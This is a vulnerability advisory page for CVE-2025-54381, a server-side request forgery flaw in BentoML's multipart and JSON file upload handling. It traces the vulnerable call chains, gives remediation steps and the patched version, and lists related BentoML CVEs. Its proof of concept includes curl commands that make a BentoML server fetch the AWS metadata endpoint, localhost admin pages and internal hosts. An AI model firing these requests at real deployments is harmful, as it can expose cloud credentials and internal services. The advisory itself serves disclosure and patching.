CVE-2025-54381Critical· 9.9▾ AbyssalPoC availableBentoML SSRF Vulnerability in File Upload Processing
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 54.5 · likelihood 2.8 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Sep 12.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
14%
1 GitHub repo (last check)
There's an SSRF in the file upload processing system that allows remote attackers to make arbitrary HTTP requests from the server without authentication. The vulnerability exists in the serialization/deserialization handlers for multipart form data and JSON requests, which automatically download files from user-provided URLs without proper validation of internal network addresses.
The framework automatically registers any service endpoint with file-type parameters (pathlib.Path, PIL.Image.Image) as vulnerable to this attack, making it a framework-wide security issue that affects most real-world ML services handling file uploads. While BentoML implements basic URL scheme validation in the JSONSerde path, the MultipartSerde path has no validation whatsoever, and neither path restricts access to internal networks, cloud metadata endpoints, or localhost services.
The documentation explicitly promotes this URL-based file upload feature, making it an intended but insecure design that exposes all deployed services to SSRF attacks by default.
Source: User-controlled multipart form field values and JSON request bodies containing URLs
Call Chain - Path 1 (MultipartSerde - No Validation):
MultipartSerde.parse_request() in src/_bentoml_impl/serde.py:202 processes the requestform = await request.form() parses multipart data using Starlettevalue = [await self.ensure_file(v) for v in form.getlist(k)] at line 209MultipartSerde.ensure_file() called at lines 186-200 with user-controlled string URLresp = await client.get(obj) at line 193 - Direct HTTP request with zero validationCall Chain - Path 2 (JSONSerde - Weak Validation):
IORootModel + multipart_fieldsJSONSerde.parse_request() in src/_bentoml_impl/serde.py:157 processes the requestbody = await request.body() extracts request bodyif issubclass(cls, IORootModel) and cls.multipart_fields: at line 164if is_http_url(url := body.decode("utf-8", "ignore")): at line 165 (only checks scheme)resp = await client.get(url) at line 168 - HTTP request after insufficient validationCreate a BentoML service:
from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
@bentoml.api
def process_image(self, image: Path) -> str:
return f"Processed image: {image}"
Deploy and exploit:
# Start service (binds to 0.0.0.0:3000 by default)
bentoml serve service.py:ImageProcessor
# SSRF Attack 1 - Access AWS metadata
curl -X POST http://target:3000/process_image \
-F 'image=http://169.254.169.254/latest/meta-data/'
# SSRF Attack 2 - Internal service enumeration
curl -X POST http://target:3000/process_image \
-F 'image=http://localhost:8080/admin'
# SSRF Attack 3 - Internal network scanning
curl -X POST http://target:3000/process_image \
-F 'image=http://10.0.0.1:22'
Expected result: Server makes HTTP requests to internal/cloud endpoints, potentially returning sensitive data in error messages or logs.
Implement comprehensive URL validation in both serialization paths by adding network restriction checks to prevent access to internal/private network ranges, localhost, and cloud metadata endpoints. The existing is_http_url() function should be enhanced to include allowlist validation rather than just scheme checking.
bentoml >= 1.4.0, < 1.4.19Upgrade to a patched release:
bentoml 1.4.19Connected by shared product, vendor, weakness, or advisory.
CVE-2025-27520Critical· 9.8BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization
CVE-2026-40610Medium· 5.5BentoML has Information Disclosure in `bentoml build` via symlink traversal in the build context
CVE-2026-27905HighBentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
CVE-2024-9056High· 7.5BentoML Denial of Service (DoS) via Multipart Boundary
CVE-2026-24123High· 7.4BentoML has a Path Traversal via Bentofile Configuration
CVE-2026-15035High· 7.8A vulnerability was found in bentoml OpenLLM 0.6.30. This affects the function async_run_command of the file src/openllm/common.py of the…